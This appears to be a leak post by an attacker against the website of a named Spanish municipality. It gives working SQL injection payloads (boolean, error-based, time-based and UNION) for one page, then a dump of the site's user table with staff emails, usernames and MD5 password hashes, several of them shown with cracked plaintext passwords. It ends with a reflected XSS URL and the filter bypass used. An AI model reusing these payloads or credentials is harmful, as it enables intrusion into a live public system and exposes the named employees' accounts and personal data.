XSS and SQLi vulnerable site ;)

   ___       __   ________  ________  ________      ___    ___
  |\  \     |\  \|\   __  \|\   __  \|\   ___ \    |\  \  /  /|
  \ \  \    \ \  \ \  \|\  \ \  \|\  \ \  \_|\ \   \ \  \/  / /
   \ \  \  __\ \  \ \  \\\  \ \  \\\  \ \  \ \\ \   \ \    / /
    \ \  \|\__\_\  \ \  \\\  \ \  \\\  \ \  \_\\ \   \/  /  /
     \ \____________\ \_______\ \_______\ \_______\__/  / /
      \|____________|\|_______|\|_______|\|_______|\___/ /
                                                  \|___|/

   _________  ___  ___  _______
  |\___   ___\\  \|\  \|\  ___ \
  \|___ \  \_\ \  \\\  \ \   __/|
       \ \  \ \ \   __  \ \  \_|/__
        \ \  \ \ \  \ \  \ \  \_|\ \
         \ \__\ \ \__\ \__\ \_______\
          \|__|  \|__|\|__|\|_______|



   ________  ________  ___       __   ________  ________      ___    ___
  |\   ____\|\   __  \|\  \     |\  \|\   __  \|\   __  \    |\  \  /  /|
  \ \  \___|\ \  \|\  \ \  \    \ \  \ \  \|\ /\ \  \|\  \   \ \  \/  / /
   \ \  \    \ \  \\\  \ \  \  __\ \  \ \   __  \ \  \\\  \   \ \    / /
    \ \  \____\ \  \\\  \ \  \|\__\_\  \ \  \|\  \ \  \\\  \   \/  /  /
     \ \_______\ \_______\ \____________\ \_______\ \_______\__/  / /
      \|_______|\|_______|\|____________|\|_______|\|_______|\___/ /
                                                            \|___|/



███████╗ ██████╗ ██╗     ██╗
██╔════╝██╔═══██╗██║     ██║
███████╗██║   ██║██║     ██║
╚════██║██║▄▄ ██║██║     ██║
███████║╚██████╔╝███████╗██║
╚══════╝ ╚══▀▀═╝ ╚══════╝╚═╝



sanjavier.es/contenidos.php?id=25

---
Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=25 AND 3543=3543

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause
    Payload: id=25 AND (SELECT 4629 FROM(SELECT COUNT(*),CONCAT(0x7176766b71,(SELECT (ELT(4629=4629,1))),0x716a626271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
    Payload: id=25 AND (SELECT * FROM (SELECT(SLEEP(5)))yEFx)

    Type: UNION query
    Title: Generic UNION query (NULL) - 5 columns
    Payload: id=-2136 UNION ALL SELECT NULL,NULL,CONCAT(0x7176766b71,0x42646e456e6c49766d7a,0x716a626271),NULL,NULL--
---

Apache 2, PHP 5.2.17
MySQL is 5.0.12

Database names:
information_schema
sanjavier_ayuntamiento

Database sanjavier_ayuntamiento
Table ay_usuarios

IdUsuario,Admin,Email,Acceso,Perfil,Nombre,Usuario, Password,permisos,Verificado
0,1,angel.garcia@sanjavier.es,<blank>,<blank>,4f3c42d544a275fbbe64ce4104e871c9,<blank>,admin
4,1,prensa@sanjavier.es,<blank>,0,<blank>,799ace7324209d94a084c3bcf32c8501,prensa,<blank>,<blank>
6,1,miguel.rodriguez@sanjavier.es,<blank>,c78d7af1bf85552995f6596c58582234,perfil,<blank>,<blank>
7,1,activa@sanjavier.com,<blank>,3914b187243c4be61e363ee8ed1acd55,activa,<blank>,<blank>
33,1,cultura@sanjavier.es,<blank>,3914b187243c4be61e363ee8ed1acd55,centrocivico,<blank>,<blank>
10,1,medioambiente@sanjavier.es,<blank>,cdeb87babd9c33defb6907faa34589c9,medioambiente,<blank>,<blank>
11,1,archivo@sanjavier.es,<blank>,0,<blank>,32a53044b28d7c9923cb876a3b5db28b,archivo,<blank>,<blank>
12,1,maria.lopez@sanjavier.es,<blank>,cce86e0ca56c4200c092cd35cf69fc18,rrhh,<blank>,<blank>
15,1,salva.tenza@sanjavier.es,<blank>,0b77088167375aa34ec569ae25dcd759,urbanadmin,<blank>,<blank>
25,1,juventud@sanjavier.es,<blank>,0,<blank>,601b84a424122a764778a296cb11f907,juventud,<blank>,<blank>
31,1,ana.plazas@sanjavier.es,<blank>,57a1923a408f1f8ccaa7321b6ef6ae34,sanciones,<blank>,<blank>
16,1,santiago.montealegre@sanjavier.es,<blank>,3914b187243c4be61e363ee8ed1acd55,tiago,<blank>,<blank>
17,1,proteccion.civil@sanjavier.es,<blank>,3914b187243c4be61e363ee8ed1acd55,112,<blank>,<blank>
32,1,santiago.montealegre@sanjavier.es,<blank>,3914b187243c4be61e363ee8ed1acd55,emisoramunicipal,<blank>,<blank>
21,1,concejaliadeturismo@sanjavier.es,<blank>,0e808d2e726bd2ca78d3f218163653f6,turismo,<blank>,<blank>
34,1,mercedes.gomez@sanjavier.es,<blank>,3914b187243c4be61e363ee8ed1acd55,agricultura,<blank>,<blank>
49,1,tesoreria@sanjavier.es,<blank>,8275b7c196f519e424636cee91866dea,tesoreria,<blank>,<blank>
43,1,tablon@sanjavier.es,<blank>,543bf2ef8359c955c0be7f8a757b455f,tablon,<blank>,<blank>
27,1,ama@sanjavier.es,<blank>,4d505233c2afa4de02e8c0a1c0121b08,urbantecnico,<blank>,<blank>
28,1,antonio.diaz@sanjavier.es,<blank>,9864663935ceeb7c6e28c615385a6325,biblioteca,<blank>,<blank>
29,1,salvador.angosto@sanjavier.es,<blank>,da46b283ee9fbc167fac33e57d90f66d,policialocal,<blank>,<blank>
35,1,anabelen.gomez@sanjavier.es,<blank>,3914b187243c4be61e363ee8ed1acd55,parques,<blank>,<blank>
36,1,educacion@sanjavier.es,<blank>,71f89a445f4f3eb66a6521d7c08f4b9d,educacion,<blank>,<blank>
37,1,serviciossociales@sanjavier,<blank>,a8324795085928714b964df95226da17,social,<blank>,<blank>
38,1,cultura@sanjavier.es,<blank>,3914b187243c4be61e363ee8ed1acd55,cultura,<blank>,<blank>
39,1,mjs@sanjavier.es,<blank>,3914b187243c4be61e363ee8ed1acd55,contribu,<blank>,<blank>
40,1,cultura@sanjavier.es,<blank>,3914b187243c4be61e363ee8ed1acd55,festejos,<blank>,<blank>
44,1,felipe.andres@sanjavier.es,<blank>,78b5ca86114a109120c7138cfa582675,felipe,<blank>,<blank>
45,1,fernando.postigo@sanjavier.es,<blank>,3914b187243c4be61e363ee8ed1acd55,sanidad,<blank>,<blank>
46,1,natalia.conesa@sanjavier.es,<blank>,6c9cf82fa18fae794bff644111f8e39f,voluntariado,<blank>,<blank>
47,1,rosa.samper@sanjavier.es,<blank>,d5868581b5f49c568f17a782c83ac424,secretaria,<blank>,<blank>
53,1,silvia.alarcon@sanjavier.es,<blank>,2179f960a0a784e6406fc01a92008b5e,patrimonio,<blank>,<blank>
50,1,astec@astec.com,<blank>,754f562299fab9957e5f40cbb76436a0,recaudaSJ,<blank>,<blank>
51,1,sac@sanjavier.es,<blank>,119c4b283a992e1dd4be7df8cdcf1dc7,SAC,<blank>,<blank>
52,1,victor.hernandez@sanjavier.es,57171c81f986cb9530cfeac73a159aa5,victor.hernandez,<blank>,<blank>

4f3c42d544a275fbbe64ce4104e871c9
c78d7af1bf85552995f6596c58582234
3914b187243c4be61e363ee8ed1acd55
3914b187243c4be61e363ee8ed1acd55
cdeb87babd9c33defb6907faa34589c9 Mili38
32a53044b28d7c9923cb876a3b5db28b
cce86e0ca56c4200c092cd35cf69fc18
0b77088167375aa34ec569ae25dcd759
601b84a424122a764778a296cb11f907 c.j.2015
57a1923a408f1f8ccaa7321b6ef6ae34
3914b187243c4be61e363ee8ed1acd55
3914b187243c4be61e363ee8ed1acd55
3914b187243c4be61e363ee8ed1acd55
0e808d2e726bd2ca78d3f218163653f6
3914b187243c4be61e363ee8ed1acd55
8275b7c196f519e424636cee91866dea
543bf2ef8359c955c0be7f8a757b455f
4d505233c2afa4de02e8c0a1c0121b08
9864663935ceeb7c6e28c615385a6325
da46b283ee9fbc167fac33e57d90f66d
3914b187243c4be61e363ee8ed1acd55
71f89a445f4f3eb66a6521d7c08f4b9d
a8324795085928714b964df95226da17
3914b187243c4be61e363ee8ed1acd55
3914b187243c4be61e363ee8ed1acd55
3914b187243c4be61e363ee8ed1acd55
78b5ca86114a109120c7138cfa582675
3914b187243c4be61e363ee8ed1acd55
6c9cf82fa18fae794bff644111f8e39f Pedro6
d5868581b5f49c568f17a782c83ac424
2179f960a0a784e6406fc01a92008b5e
754f562299fab9957e5f40cbb76436a0
119c4b283a992e1dd4be7df8cdcf1dc7 Servicio2015*
57171c81f986cb9530cfeac73a159aa5 Prl2015*

██╗  ██╗███████╗███████╗
╚██╗██╔╝██╔════╝██╔════╝
 ╚███╔╝ ███████╗███████╗
 ██╔██╗ ╚════██║╚════██║
██╔╝ ██╗███████║███████║
╚═╝  ╚═╝╚══════╝╚══════╝

http://sanjavier.es/buscar.php?buscar=%3Cmarquee+behavior%3Dalternate%3ERIP+ASF%3C%2Fmarquee%3E&bs=Buscar
Filters the "" chars and replaces for \", I employed string.fromCharCode
It is non-persistent XSS

This site receives an average 500k visits a month btw ;)